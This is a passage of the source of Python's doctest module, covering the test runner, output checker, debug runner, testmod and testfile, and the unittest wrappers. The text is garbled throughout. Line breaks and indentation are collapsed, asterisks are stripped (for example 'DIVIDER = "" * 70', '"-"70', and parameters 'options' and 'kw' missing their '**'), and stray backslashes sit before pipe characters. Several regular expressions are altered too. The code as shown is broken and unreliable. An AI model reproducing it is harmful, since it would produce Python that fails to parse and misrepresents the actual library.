line number of the given object's docstring. Note: this method assumes that the object has a docstring. """ lineno = None # Find the line number for modules. if inspect.ismodule(obj): lineno = 0 # Find the line number for classes. # Note: this could be fooled if a class is defined multiple # times in a single file. if inspect.isclass(obj): if source_lines is None: return None pat = re.compile(r'^\sclass\s%s\b' % getattr(obj, '__name__', '-')) for i, line in enumerate(source_lines): if pat.match(line): lineno = i break # Find the line number for functions & methods. if inspect.ismethod(obj): obj = obj.__func__ if inspect.isfunction(obj): obj = obj.__code__ if inspect.istraceback(obj): obj = obj.tb_frame if inspect.isframe(obj): obj = obj.f_code if inspect.iscode(obj): lineno = getattr(obj, 'co_firstlineno', None)-1 # Find the line number where the docstring starts. Assume # that it's the first line that begins with a quote mark. # Note: this could be fooled by a multiline function # signature, where a continuation line begins with a quote # mark. if lineno is not None: if source_lines is None: return lineno+1 pat = re.compile(r'(^\|.:)\s\w("\|\')') for lineno in range(lineno, len(source_lines)): if pat.match(source_lines[lineno]): return lineno # We couldn't find the line number. return None ###################################################################### ## 5. DocTest Runner ###################################################################### class DocTestRunner: """ A class used to run DocTest test cases, and accumulate statistics. The `run` method is used to process a single DocTest case. It returns a tuple `(f, t)`, where `t` is the number of test cases tried, and `f` is the number of test cases that failed. >>> tests = DocTestFinder().find(_TestClass) >>> runner = DocTestRunner(verbose=False) >>> tests.sort(key = lambda test: test.name) >>> for test in tests: ... print(test.name, '->', runner.run(test)) _TestClass -> TestResults(failed=0, attempted=2) _TestClass.__init__ -> TestResults(failed=0, attempted=2) _TestClass.get -> TestResults(failed=0, attempted=2) _TestClass.square -> TestResults(failed=0, attempted=1) The `summarize` method prints a summary of all the test cases that have been run by the runner, and returns an aggregated `(f, t)` tuple: >>> runner.summarize(verbose=1) 4 items passed all tests: 2 tests in _TestClass 2 tests in _TestClass.__init__ 2 tests in _TestClass.get 1 tests in _TestClass.square 7 tests in 4 items. 7 passed and 0 failed. Test passed. TestResults(failed=0, attempted=7) The aggregated number of tried examples and failed examples is also available via the `tries` and `failures` attributes: >>> runner.tries 7 >>> runner.failures 0 The comparison between expected outputs and actual outputs is done by an `OutputChecker`. This comparison may be customized with a number of option flags; see the documentation for `testmod` for more information. If the option flags are insufficient, then the comparison may also be customized by passing a subclass of `OutputChecker` to the constructor. The test runner's display output can be controlled in two ways. First, an output function (`out) can be passed to `TestRunner.run`; this function will be called with strings that should be displayed. It defaults to `sys.stdout.write`. If capturing the output is not sufficient, then the display output can be also customized by subclassing DocTestRunner, and overriding the methods `report_start`, `report_success`, `report_unexpected_exception`, and `report_failure`. """ # This divider string is used to separate failure messages, and to # separate sections of the summary. DIVIDER = "" * 70 def __init__(self, checker=None, verbose=None, optionflags=0): """ Create a new test runner. Optional keyword arg `checker` is the `OutputChecker` that should be used to compare the expected outputs and actual outputs of doctest examples. Optional keyword arg 'verbose' prints lots of stuff if true, only failures if false; by default, it's true iff '-v' is in sys.argv. Optional argument `optionflags` can be used to control how the test runner compares expected output to actual output, and how it displays failures. See the documentation for `testmod` for more information. """ self._checker = checker or OutputChecker() if verbose is None: verbose = '-v' in sys.argv self._verbose = verbose self.optionflags = optionflags self.original_optionflags = optionflags # Keep track of the examples we've run. self.tries = 0 self.failures = 0 self._name2ft = {} # Create a fake output target for capturing doctest output. self._fakeout = _SpoofOut() #///////////////////////////////////////////////////////////////// # Reporting methods #///////////////////////////////////////////////////////////////// def report_start(self, out, test, example): """ Report that the test runner is about to process the given example. (Only displays a message if verbose=True) """ if self._verbose: if example.want: out('Trying:\n' + _indent(example.source) + 'Expecting:\n' + _indent(example.want)) else: out('Trying:\n' + _indent(example.source) + 'Expecting nothing\n') def report_success(self, out, test, example, got): """ Report that the given example ran successfully. (Only displays a message if verbose=True) """ if self._verbose: out("ok\n") def report_failure(self, out, test, example, got): """ Report that the given example failed. """ out(self._failure_header(test, example) + self._checker.output_difference(example, got, self.optionflags)) def report_unexpected_exception(self, out, test, example, exc_info): """ Report that the given example raised an unexpected exception. """ out(self._failure_header(test, example) + 'Exception raised:\n' + _indent(_exception_traceback(exc_info))) def _failure_header(self, test, example): out = [self.DIVIDER] if test.filename: if test.lineno is not None and example.lineno is not None: lineno = test.lineno + example.lineno + 1 else: lineno = '?' out.append('File "%s", line %s, in %s' % (test.filename, lineno, test.name)) else: out.append('Line %s, in %s' % (example.lineno+1, test.name)) out.append('Failed example:') source = example.source out.append(_indent(source)) return '\n'.join(out) #///////////////////////////////////////////////////////////////// # DocTest Running #///////////////////////////////////////////////////////////////// def __run(self, test, compileflags, out): """ Run the examples in `test`. Write the outcome of each example with one of the `DocTestRunner.report_` methods, using the writer function `out`. `compileflags` is the set of compiler flags that should be used to execute examples. Return a tuple `(f, t)`, where `t` is the number of examples tried, and `f` is the number of examples that failed. The examples are run in the namespace `test.globs`. """ # Keep track of the number of failures and tries. failures = tries = 0 # Save the option flags (since option directives can be used # to modify them). original_optionflags = self.optionflags SUCCESS, FAILURE, BOOM = range(3) # `outcome` state check = self._checker.check_output # Process each example. for examplenum, example in enumerate(test.examples): # If REPORT_ONLY_FIRST_FAILURE is set, then suppress # reporting after the first failure. quiet = (self.optionflags & REPORT_ONLY_FIRST_FAILURE and failures > 0) # Merge in the example's options. self.optionflags = original_optionflags if example.options: for (optionflag, val) in example.options.items(): if val: self.optionflags \|= optionflag else: self.optionflags &= ~optionflag # If 'SKIP' is set, then skip this example. if self.optionflags & SKIP: continue # Record that we started this example. tries += 1 if not quiet: self.report_start(out, test, example) # Use a special filename for compile(), so we can retrieve # the source code during interactive debugging (see # __patched_linecache_getlines). filename = '<doctest %s[%d]>' % (test.name, examplenum) # Run the example in the given context (globs), and record # any exception that gets raised. (But don't intercept # keyboard interrupts.) try: # Don't blink! This is where the user's code gets run. exec(compile(example.source, filename, "single", compileflags, 1), test.globs) self.debugger.set_continue() # ==== Example Finished ==== exception = None except KeyboardInterrupt: raise except: exception = sys.exc_info() self.debugger.set_continue() # ==== Example Finished ==== got = self._fakeout.getvalue() # the actual output self._fakeout.truncate(0) outcome = FAILURE # guilty until proved innocent or insane # If the example executed without raising any exceptions, # verify its output. if exception is None: if check(example.want, got, self.optionflags): outcome = SUCCESS # The example raised an exception: check if it was expected. else: exc_msg = traceback.format_exception_only(exception[:2])[-1] if not quiet: got += _exception_traceback(exception) # If `example.exc_msg` is None, then we weren't expecting # an exception. if example.exc_msg is None: outcome = BOOM # We expected an exception: see whether it matches. elif check(example.exc_msg, exc_msg, self.optionflags): outcome = SUCCESS # Another chance if they didn't care about the detail. elif self.optionflags & IGNORE_EXCEPTION_DETAIL: if check(_strip_exception_details(example.exc_msg), _strip_exception_details(exc_msg), self.optionflags): outcome = SUCCESS # Report the outcome. if outcome is SUCCESS: if not quiet: self.report_success(out, test, example, got) elif outcome is FAILURE: if not quiet: self.report_failure(out, test, example, got) failures += 1 elif outcome is BOOM: if not quiet: self.report_unexpected_exception(out, test, example, exception) failures += 1 else: assert False, ("unknown outcome", outcome) if failures and self.optionflags & FAIL_FAST: break # Restore the option flags (in case they were modified) self.optionflags = original_optionflags # Record and return the number of failures and tries. self.__record_outcome(test, failures, tries) return TestResults(failures, tries) def __record_outcome(self, test, f, t): """ Record the fact that the given DocTest (`test`) generated `f` failures out of `t` tried examples. """ f2, t2 = self._name2ft.get(test.name, (0,0)) self._name2ft[test.name] = (f+f2, t+t2) self.failures += f self.tries += t __LINECACHE_FILENAME_RE = re.compile(r'<doctest ' r'(?P<name>.+)' r'\[(?P<examplenum>\d+)\]>$') def __patched_linecache_getlines(self, filename, module_globals=None): m = self.__LINECACHE_FILENAME_RE.match(filename) if m and m.group('name') == self.test.name: example = self.test.examples[int(m.group('examplenum'))] return example.source.splitlines(keepends=True) else: return self.save_linecache_getlines(filename, module_globals) def run(self, test, compileflags=None, out=None, clear_globs=True): """ Run the examples in `test`, and display the results using the writer function `out`. The examples are run in the namespace `test.globs`. If `clear_globs` is true (the default), then this namespace will be cleared after the test runs, to help with garbage collection. If you would like to examine the namespace after the test completes, then use `clear_globs=False`. `compileflags` gives the set of flags that should be used by the Python compiler when running the examples. If not specified, then it will default to the set of future-import flags that apply to `globs`. The output of each example is checked using `DocTestRunner.check_output`, and the results are formatted by the `DocTestRunner.report_` methods. """ self.test = test if compileflags is None: compileflags = _extract_future_flags(test.globs) save_stdout = sys.stdout if out is None: encoding = save_stdout.encoding if encoding is None or encoding.lower() == 'utf-8': out = save_stdout.write else: # Use backslashreplace error handling on write def out(s): s = str(s.encode(encoding, 'backslashreplace'), encoding) save_stdout.write(s) sys.stdout = self._fakeout # Patch pdb.set_trace to restore sys.stdout during interactive # debugging (so it's not still redirected to self._fakeout). # Note that the interactive output will go to our* # save_stdout, even if that's not the real sys.stdout; this # allows us to write test cases for the set_trace behavior. save_trace = sys.gettrace() save_set_trace = pdb.set_trace self.debugger = _OutputRedirectingPdb(save_stdout) self.debugger.reset() pdb.set_trace = self.debugger.set_trace # Patch linecache.getlines, so we can see the example's source # when we're inside the debugger. self.save_linecache_getlines = linecache.getlines linecache.getlines = self.__patched_linecache_getlines # Make sure sys.displayhook just prints the value to stdout save_displayhook = sys.displayhook sys.displayhook = sys.__displayhook__ try: return self.__run(test, compileflags, out) finally: sys.stdout = save_stdout pdb.set_trace = save_set_trace sys.settrace(save_trace) linecache.getlines = self.save_linecache_getlines sys.displayhook = save_displayhook if clear_globs: test.globs.clear() import builtins builtins._ = None #///////////////////////////////////////////////////////////////// # Summarization #///////////////////////////////////////////////////////////////// def summarize(self, verbose=None): """ Print a summary of all the test cases that have been run by this DocTestRunner, and return a tuple `(f, t)`, where `f` is the total number of failed examples, and `t` is the total number of tried examples. The optional `verbose` argument controls how detailed the summary is. If the verbosity is not specified, then the DocTestRunner's verbosity is used. """ if verbose is None: verbose = self._verbose notests = [] passed = [] failed = [] totalt = totalf = 0 for x in self._name2ft.items(): name, (f, t) = x assert f <= t totalt += t totalf += f if t == 0: notests.append(name) elif f == 0: passed.append( (name, t) ) else: failed.append(x) if verbose: if notests: print(len(notests), "items had no tests:") notests.sort() for thing in notests: print(" ", thing) if passed: print(len(passed), "items passed all tests:") passed.sort() for thing, count in passed: print(" %3d tests in %s" % (count, thing)) if failed: print(self.DIVIDER) print(len(failed), "items had failures:") failed.sort() for thing, (f, t) in failed: print(" %3d of %3d in %s" % (f, t, thing)) if verbose: print(totalt, "tests in", len(self._name2ft), "items.") print(totalt - totalf, "passed and", totalf, "failed.") if totalf: print("*Test Failed", totalf, "failures.") elif verbose: print("Test passed.") return TestResults(totalf, totalt) #///////////////////////////////////////////////////////////////// # Backward compatibility cruft to maintain doctest.master. #///////////////////////////////////////////////////////////////// def merge(self, other): d = self._name2ft for name, (f, t) in other._name2ft.items(): if name in d: # Don't print here by default, since doing # so breaks some of the buildbots #print("** DocTestRunner.merge: '" + name + "' in both" \ # " testers; summing outcomes.") f2, t2 = d[name] f = f + f2 t = t + t2 d[name] = f, t class OutputChecker: """ A class used to check the whether the actual output from a doctest example matches the expected output. `OutputChecker` defines two methods: `check_output`, which compares a given pair of outputs, and returns true if they match; and `output_difference`, which returns a string describing the differences between two outputs. """ def _toAscii(self, s): """ Convert string to hex-escaped ASCII string. """ return str(s.encode('ASCII', 'backslashreplace'), "ASCII") def check_output(self, want, got, optionflags): """ Return True iff the actual output from an example (`got`) matches the expected output (`want`). These strings are always considered to match if they are identical; but depending on what option flags the test runner is using, several non-exact match types are also possible. See the documentation for `TestRunner` for more information about option flags. """ # If `want` contains hex-escaped character such as "\u1234", # then `want` is a string of six characters(e.g. [\,u,1,2,3,4]). # On the other hand, `got` could be another sequence of # characters such as [\u1234], so `want` and `got` should # be folded to hex-escaped ASCII string to compare. got = self._toAscii(got) want = self._toAscii(want) # Handle the common case first, for efficiency: # if they're string-identical, always return true. if got == want: return True # The values True and False replaced 1 and 0 as the return # value for boolean comparisons in Python 2.3. if not (optionflags & DONT_ACCEPT_TRUE_FOR_1): if (got,want) == ("True\n", "1\n"): return True if (got,want) == ("False\n", "0\n"): return True # <BLANKLINE> can be used as a special sequence to signify a # blank line, unless the DONT_ACCEPT_BLANKLINE flag is used. if not (optionflags & DONT_ACCEPT_BLANKLINE): # Replace <BLANKLINE> in want with a blank line. want = re.sub(r'(?m)^%s\s?$' % re.escape(BLANKLINE_MARKER), '', want) # If a line in got contains only spaces, then remove the # spaces. got = re.sub(r'(?m)^[^\S\n]+$', '', got) if got == want: return True # This flag causes doctest to ignore any differences in the # contents of whitespace strings. Note that this can be used # in conjunction with the ELLIPSIS flag. if optionflags & NORMALIZE_WHITESPACE: got = ' '.join(got.split()) want = ' '.join(want.split()) if got == want: return True # The ELLIPSIS flag says to let the sequence "..." in `want` # match any substring in `got`. if optionflags & ELLIPSIS: if _ellipsis_match(want, got): return True # We didn't find any match; return false. return False # Should we do a fancy diff? def _do_a_fancy_diff(self, want, got, optionflags): # Not unless they asked for a fancy diff. if not optionflags & (REPORT_UDIFF \| REPORT_CDIFF \| REPORT_NDIFF): return False # If expected output uses ellipsis, a meaningful fancy diff is # too hard ... or maybe not. In two real-life failures Tim saw, # a diff was a major help anyway, so this is commented out. # [todo] _ellipsis_match() knows which pieces do and don't match, # and could be the basis for a kick-ass diff in this case. ##if optionflags & ELLIPSIS and ELLIPSIS_MARKER in want: ## return False # ndiff does intraline difference marking, so can be useful even # for 1-line differences. if optionflags & REPORT_NDIFF: return True # The other diff types need at least a few lines to be helpful. return want.count('\n') > 2 and got.count('\n') > 2 def output_difference(self, example, got, optionflags): """ Return a string describing the differences between the expected output for a given example (`example`) and the actual output (`got`). `optionflags` is the set of option flags used to compare `want` and `got`. """ want = example.want # If <BLANKLINE>s are being used, then replace blank lines # with <BLANKLINE> in the actual output string. if not (optionflags & DONT_ACCEPT_BLANKLINE): got = re.sub('(?m)^[ ](?=\n)', BLANKLINE_MARKER, got) # Check if we should use diff. if self._do_a_fancy_diff(want, got, optionflags): # Split want & got into lines. want_lines = want.splitlines(keepends=True) got_lines = got.splitlines(keepends=True) # Use difflib to find their differences. if optionflags & REPORT_UDIFF: diff = difflib.unified_diff(want_lines, got_lines, n=2) diff = list(diff)[2:] # strip the diff header kind = 'unified diff with -expected +actual' elif optionflags & REPORT_CDIFF: diff = difflib.context_diff(want_lines, got_lines, n=2) diff = list(diff)[2:] # strip the diff header kind = 'context diff with expected followed by actual' elif optionflags & REPORT_NDIFF: engine = difflib.Differ(charjunk=difflib.IS_CHARACTER_JUNK) diff = list(engine.compare(want_lines, got_lines)) kind = 'ndiff with -expected +actual' else: assert 0, 'Bad diff option' return 'Differences (%s):\n' % kind + _indent(''.join(diff)) # If we're not using diff, then simply list the expected # output followed by the actual output. if want and got: return 'Expected:\n%sGot:\n%s' % (_indent(want), _indent(got)) elif want: return 'Expected:\n%sGot nothing\n' % _indent(want) elif got: return 'Expected nothing\nGot:\n%s' % _indent(got) else: return 'Expected nothing\nGot nothing\n' class DocTestFailure(Exception): """A DocTest example has failed in debugging mode. The exception instance has variables: - test: the DocTest object being run - example: the Example object that failed - got: the actual output """ def __init__(self, test, example, got): self.test = test self.example = example self.got = got def __str__(self): return str(self.test) class UnexpectedException(Exception): """A DocTest example has encountered an unexpected exception The exception instance has variables: - test: the DocTest object being run - example: the Example object that failed - exc_info: the exception info """ def __init__(self, test, example, exc_info): self.test = test self.example = example self.exc_info = exc_info def __str__(self): return str(self.test) class DebugRunner(DocTestRunner): r"""Run doc tests but raise an exception as soon as there is a failure. If an unexpected exception occurs, an UnexpectedException is raised. It contains the test, the example, and the original exception: >>> runner = DebugRunner(verbose=False) >>> test = DocTestParser().get_doctest('>>> raise KeyError\n42', ... {}, 'foo', 'foo.py', 0) >>> try: ... runner.run(test) ... except UnexpectedException as f: ... failure = f >>> failure.test is test True >>> failure.example.want '42\n' >>> exc_info = failure.exc_info >>> raise exc_info[1] # Already has the traceback Traceback (most recent call last): ... KeyError We wrap the original exception to give the calling application access to the test and example information. If the output doesn't match, then a DocTestFailure is raised: >>> test = DocTestParser().get_doctest(''' ... >>> x = 1 ... >>> x ... 2 ... ''', {}, 'foo', 'foo.py', 0) >>> try: ... runner.run(test) ... except DocTestFailure as f: ... failure = f DocTestFailure objects provide access to the test: >>> failure.test is test True As well as to the example: >>> failure.example.want '2\n' and the actual output: >>> failure.got '1\n' If a failure or error occurs, the globals are left intact: >>> del test.globs['__builtins__'] >>> test.globs {'x': 1} >>> test = DocTestParser().get_doctest(''' ... >>> x = 2 ... >>> raise KeyError ... ''', {}, 'foo', 'foo.py', 0) >>> runner.run(test) Traceback (most recent call last): ... doctest.UnexpectedException: <DocTest foo from foo.py:0 (2 examples)> >>> del test.globs['__builtins__'] >>> test.globs {'x': 2} But the globals are cleared if there is no error: >>> test = DocTestParser().get_doctest(''' ... >>> x = 2 ... ''', {}, 'foo', 'foo.py', 0) >>> runner.run(test) TestResults(failed=0, attempted=1) >>> test.globs {} """ def run(self, test, compileflags=None, out=None, clear_globs=True): r = DocTestRunner.run(self, test, compileflags, out, False) if clear_globs: test.globs.clear() return r def report_unexpected_exception(self, out, test, example, exc_info): raise UnexpectedException(test, example, exc_info) def report_failure(self, out, test, example, got): raise DocTestFailure(test, example, got) ###################################################################### ## 6. Test Functions ###################################################################### # These should be backwards compatible. # For backward compatibility, a global instance of a DocTestRunner # class, updated by testmod. master = None def testmod(m=None, name=None, globs=None, verbose=None, report=True, optionflags=0, extraglobs=None, raise_on_error=False, exclude_empty=False): """m=None, name=None, globs=None, verbose=None, report=True, optionflags=0, extraglobs=None, raise_on_error=False, exclude_empty=False Test examples in docstrings in functions and classes reachable from module m (or the current module if m is not supplied), starting with m.__doc__. Also test examples reachable from dict m.__test__ if it exists and is not None. m.__test__ maps names to functions, classes and strings; function and class docstrings are tested even if the name is private; strings are tested directly, as if they were docstrings. Return (#failures, #tests). See help(doctest) for an overview. Optional keyword arg "name" gives the name of the module; by default use m.__name__. Optional keyword arg "globs" gives a dict to be used as the globals when executing examples; by default, use m.__dict__. A copy of this dict is actually used for each docstring, so that each docstring's examples start with a clean slate. Optional keyword arg "extraglobs" gives a dictionary that should be merged into the globals that are used to execute examples. By default, no extra globals are used. This is new in 2.4. Optional keyword arg "verbose" prints lots of stuff if true, prints only failures if false; by default, it's true iff "-v" is in sys.argv. Optional keyword arg "report" prints a summary at the end when true, else prints nothing at the end. In verbose mode, the summary is detailed, else very brief (in fact, empty if all tests passed). Optional keyword arg "optionflags" or's together module constants, and defaults to 0. This is new in 2.3. Possible values (see the docs for details): DONT_ACCEPT_TRUE_FOR_1 DONT_ACCEPT_BLANKLINE NORMALIZE_WHITESPACE ELLIPSIS SKIP IGNORE_EXCEPTION_DETAIL REPORT_UDIFF REPORT_CDIFF REPORT_NDIFF REPORT_ONLY_FIRST_FAILURE Optional keyword arg "raise_on_error" raises an exception on the first unexpected exception or failure. This allows failures to be post-mortem debugged. Advanced tomfoolery: testmod runs methods of a local instance of class doctest.Tester, then merges the results into (or creates) global Tester instance doctest.master. Methods of doctest.master can be called directly too, if you want to do something unusual. Passing report=0 to testmod is especially useful then, to delay displaying a summary. Invoke doctest.master.summarize(verbose) when you're done fiddling. """ global master # If no module was given, then use __main__. if m is None: # DWA - m will still be None if this wasn't invoked from the command # line, in which case the following TypeError is about as good an error # as we should expect m = sys.modules.get('__main__') # Check that we were actually given a module. if not inspect.ismodule(m): raise TypeError("testmod: module required; %r" % (m,)) # If no name was given, then use the module's name. if name is None: name = m.__name__ # Find, parse, and run all tests in the given module. finder = DocTestFinder(exclude_empty=exclude_empty) if raise_on_error: runner = DebugRunner(verbose=verbose, optionflags=optionflags) else: runner = DocTestRunner(verbose=verbose, optionflags=optionflags) for test in finder.find(m, name, globs=globs, extraglobs=extraglobs): runner.run(test) if report: runner.summarize() if master is None: master = runner else: master.merge(runner) return TestResults(runner.failures, runner.tries) def testfile(filename, module_relative=True, name=None, package=None, globs=None, verbose=None, report=True, optionflags=0, extraglobs=None, raise_on_error=False, parser=DocTestParser(), encoding=None): """ Test examples in the given file. Return (#failures, #tests). Optional keyword arg "module_relative" specifies how filenames should be interpreted: - If "module_relative" is True (the default), then "filename" specifies a module-relative path. By default, this path is relative to the calling module's directory; but if the "package" argument is specified, then it is relative to that package. To ensure os-independence, "filename" should use "/" characters to separate path segments, and should not be an absolute path (i.e., it may not begin with "/"). - If "module_relative" is False, then "filename" specifies an os-specific path. The path may be absolute or relative (to the current working directory). Optional keyword arg "name" gives the name of the test; by default use the file's basename. Optional keyword argument "package" is a Python package or the name of a Python package whose directory should be used as the base directory for a module relative filename. If no package is specified, then the calling module's directory is used as the base directory for module relative filenames. It is an error to specify "package" if "module_relative" is False. Optional keyword arg "globs" gives a dict to be used as the globals when executing examples; by default, use {}. A copy of this dict is actually used for each docstring, so that each docstring's examples start with a clean slate. Optional keyword arg "extraglobs" gives a dictionary that should be merged into the globals that are used to execute examples. By default, no extra globals are used. Optional keyword arg "verbose" prints lots of stuff if true, prints only failures if false; by default, it's true iff "-v" is in sys.argv. Optional keyword arg "report" prints a summary at the end when true, else prints nothing at the end. In verbose mode, the summary is detailed, else very brief (in fact, empty if all tests passed). Optional keyword arg "optionflags" or's together module constants, and defaults to 0. Possible values (see the docs for details): DONT_ACCEPT_TRUE_FOR_1 DONT_ACCEPT_BLANKLINE NORMALIZE_WHITESPACE ELLIPSIS SKIP IGNORE_EXCEPTION_DETAIL REPORT_UDIFF REPORT_CDIFF REPORT_NDIFF REPORT_ONLY_FIRST_FAILURE Optional keyword arg "raise_on_error" raises an exception on the first unexpected exception or failure. This allows failures to be post-mortem debugged. Optional keyword arg "parser" specifies a DocTestParser (or subclass) that should be used to extract tests from the files. Optional keyword arg "encoding" specifies an encoding that should be used to convert the file to unicode. Advanced tomfoolery: testmod runs methods of a local instance of class doctest.Tester, then merges the results into (or creates) global Tester instance doctest.master. Methods of doctest.master can be called directly too, if you want to do something unusual. Passing report=0 to testmod is especially useful then, to delay displaying a summary. Invoke doctest.master.summarize(verbose) when you're done fiddling. """ global master if package and not module_relative: raise ValueError("Package may only be specified for module-" "relative paths.") # Relativize the path text, filename = _load_testfile(filename, package, module_relative, encoding or "utf-8") # If no name was given, then use the file's name. if name is None: name = os.path.basename(filename) # Assemble the globals. if globs is None: globs = {} else: globs = globs.copy() if extraglobs is not None: globs.update(extraglobs) if '__name__' not in globs: globs['__name__'] = '__main__' if raise_on_error: runner = DebugRunner(verbose=verbose, optionflags=optionflags) else: runner = DocTestRunner(verbose=verbose, optionflags=optionflags) # Read the file, convert it to a test, and run it. test = parser.get_doctest(text, globs, name, filename, 0) runner.run(test) if report: runner.summarize() if master is None: master = runner else: master.merge(runner) return TestResults(runner.failures, runner.tries) def run_docstring_examples(f, globs, verbose=False, name="NoName", compileflags=None, optionflags=0): """ Test examples in the given object's docstring (`f`), using `globs` as globals. Optional argument `name` is used in failure messages. If the optional argument `verbose` is true, then generate output even if there are no failures. `compileflags` gives the set of flags that should be used by the Python compiler when running the examples. If not specified, then it will default to the set of future-import flags that apply to `globs`. Optional keyword arg `optionflags` specifies options for the testing and output. See the documentation for `testmod` for more information. """ # Find, parse, and run all tests in the given module. finder = DocTestFinder(verbose=verbose, recurse=False) runner = DocTestRunner(verbose=verbose, optionflags=optionflags) for test in finder.find(f, name, globs=globs): runner.run(test, compileflags=compileflags) ###################################################################### ## 7. Unittest Support ###################################################################### _unittest_reportflags = 0 def set_unittest_reportflags(flags): """Sets the unittest option flags. The old flag is returned so that a runner could restore the old value if it wished to: >>> import doctest >>> old = doctest._unittest_reportflags >>> doctest.set_unittest_reportflags(REPORT_NDIFF \| ... REPORT_ONLY_FIRST_FAILURE) == old True >>> doctest._unittest_reportflags == (REPORT_NDIFF \| ... REPORT_ONLY_FIRST_FAILURE) True Only reporting flags can be set: >>> doctest.set_unittest_reportflags(ELLIPSIS) Traceback (most recent call last): ... ValueError: ('Only reporting flags allowed', 8) >>> doctest.set_unittest_reportflags(old) == (REPORT_NDIFF \| ... REPORT_ONLY_FIRST_FAILURE) True """ global _unittest_reportflags if (flags & REPORTING_FLAGS) != flags: raise ValueError("Only reporting flags allowed", flags) old = _unittest_reportflags _unittest_reportflags = flags return old class DocTestCase(unittest.TestCase): def __init__(self, test, optionflags=0, setUp=None, tearDown=None, checker=None): unittest.TestCase.__init__(self) self._dt_optionflags = optionflags self._dt_checker = checker self._dt_test = test self._dt_setUp = setUp self._dt_tearDown = tearDown def setUp(self): test = self._dt_test if self._dt_setUp is not None: self._dt_setUp(test) def tearDown(self): test = self._dt_test if self._dt_tearDown is not None: self._dt_tearDown(test) test.globs.clear() def runTest(self): test = self._dt_test old = sys.stdout new = StringIO() optionflags = self._dt_optionflags if not (optionflags & REPORTING_FLAGS): # The option flags don't include any reporting flags, # so add the default reporting flags optionflags \|= _unittest_reportflags runner = DocTestRunner(optionflags=optionflags, checker=self._dt_checker, verbose=False) try: runner.DIVIDER = "-"70 failures, tries = runner.run( test, out=new.write, clear_globs=False) finally: sys.stdout = old if failures: raise self.failureException(self.format_failure(new.getvalue())) def format_failure(self, err): test = self._dt_test if test.lineno is None: lineno = 'unknown line number' else: lineno = '%s' % test.lineno lname = '.'.join(test.name.split('.')[-1:]) return ('Failed doctest test for %s\n' ' File "%s", line %s, in %s\n\n%s' % (test.name, test.filename, lineno, lname, err) ) def debug(self): r"""Run the test case without results and without catching exceptions The unit test framework includes a debug method on test cases and test suites to support post-mortem debugging. The test code is run in such a way that errors are not caught. This way a caller can catch the errors and initiate post-mortem debugging. The DocTestCase provides a debug method that raises UnexpectedException errors if there is an unexpected exception: >>> test = DocTestParser().get_doctest('>>> raise KeyError\n42', ... {}, 'foo', 'foo.py', 0) >>> case = DocTestCase(test) >>> try: ... case.debug() ... except UnexpectedException as f: ... failure = f The UnexpectedException contains the test, the example, and the original exception: >>> failure.test is test True >>> failure.example.want '42\n' >>> exc_info = failure.exc_info >>> raise exc_info[1] # Already has the traceback Traceback (most recent call last): ... KeyError If the output doesn't match, then a DocTestFailure is raised: >>> test = DocTestParser().get_doctest(''' ... >>> x = 1 ... >>> x ... 2 ... ''', {}, 'foo', 'foo.py', 0) >>> case = DocTestCase(test) >>> try: ... case.debug() ... except DocTestFailure as f: ... failure = f DocTestFailure objects provide access to the test: >>> failure.test is test True As well as to the example: >>> failure.example.want '2\n' and the actual output: >>> failure.got '1\n' """ self.setUp() runner = DebugRunner(optionflags=self._dt_optionflags, checker=self._dt_checker, verbose=False) runner.run(self._dt_test, clear_globs=False) self.tearDown() def id(self): return self._dt_test.name def __eq__(self, other): if type(self) is not type(other): return NotImplemented return self._dt_test == other._dt_test and \ self._dt_optionflags == other._dt_optionflags and \ self._dt_setUp == other._dt_setUp and \ self._dt_tearDown == other._dt_tearDown and \ self._dt_checker == other._dt_checker def __hash__(self): return hash((self._dt_optionflags, self._dt_setUp, self._dt_tearDown, self._dt_checker)) def __repr__(self): name = self._dt_test.name.split('.') return "%s (%s)" % (name[-1], '.'.join(name[:-1])) __str__ = __repr__ def shortDescription(self): return "Doctest: " + self._dt_test.name class SkipDocTestCase(DocTestCase): def __init__(self, module): self.module = module DocTestCase.__init__(self, None) def setUp(self): self.skipTest("DocTestSuite will not work with -O2 and above") def test_skip(self): pass def shortDescription(self): return "Skipping tests from %s" % self.module.__name__ __str__ = shortDescription class _DocTestSuite(unittest.TestSuite): def _removeTestAtIndex(self, index): pass def DocTestSuite(module=None, globs=None, extraglobs=None, test_finder=None, options): """ Convert doctest tests for a module to a unittest test suite. This converts each documentation string in a module that contains doctest tests to a unittest test case. If any of the tests in a doc string fail, then the test case fails. An exception is raised showing the name of the file containing the test and a (sometimes approximate) line number. The `module` argument provides the module to be tested. The argument can be either a module or a module name. If no argument is given, the calling module is used. A number of options may be provided as keyword arguments: setUp A set-up function. This is called before running the tests in each file. The setUp function will be passed a DocTest object. The setUp function can access the test globals as the globs attribute of the test passed. tearDown A tear-down function. This is called after running the tests in each file. The tearDown function will be passed a DocTest object. The tearDown function can access the test globals as the globs attribute of the test passed. globs A dictionary containing initial global variables for the tests. optionflags A set of doctest option flags expressed as an integer. """ if test_finder is None: test_finder = DocTestFinder() module = _normalize_module(module) tests = test_finder.find(module, globs=globs, extraglobs=extraglobs) if not tests and sys.flags.optimize >=2: # Skip doctests when running with -O2 suite = _DocTestSuite() suite.addTest(SkipDocTestCase(module)) return suite tests.sort() suite = _DocTestSuite() for test in tests: if len(test.examples) == 0: continue if not test.filename: filename = module.__file__ if filename[-4:] == ".pyc": filename = filename[:-1] test.filename = filename suite.addTest(DocTestCase(test, options)) return suite class DocFileCase(DocTestCase): def id(self): return '_'.join(self._dt_test.name.split('.')) def __repr__(self): return self._dt_test.filename __str__ = __repr__ def format_failure(self, err): return ('Failed doctest test for %s\n File "%s", line 0\n\n%s' % (self._dt_test.name, self._dt_test.filename, err) ) def DocFileTest(path, module_relative=True, package=None, globs=None, parser=DocTestParser(), encoding=None, options): if globs is None: globs = {} else: globs = globs.copy() if package and not module_relative: raise ValueError("Package may only be specified for module-" "relative paths.") # Relativize the path. doc, path = _load_testfile(path, package, module_relative, encoding or "utf-8") if "__file__" not in globs: globs["__file__"] = path # Find the file and read it. name = os.path.basename(path) # Convert it to a test, and wrap it in a DocFileCase. test = parser.get_doctest(doc, globs, name, path, 0) return DocFileCase(test, options) def DocFileSuite(paths, kw): """A unittest suite for one or more doctest files. The path to each doctest file is given as a string; the interpretation of that string depends on the keyword argument "module_relative". A number of options may be provided as keyword arguments: module_relative If "module_relative" is True, then the given file paths are interpreted as os-independent module-relative paths. By default, these paths are relative to the calling module's directory; but if the "package" argument is specified, then they are relative to that package. To ensure os-independence, "filename" should use "/" characters to separate path segments, and may not be an absolute path (i.e., it may not begin with "/"). If "module_relative" is False, then the given file paths are interpreted as os-specific 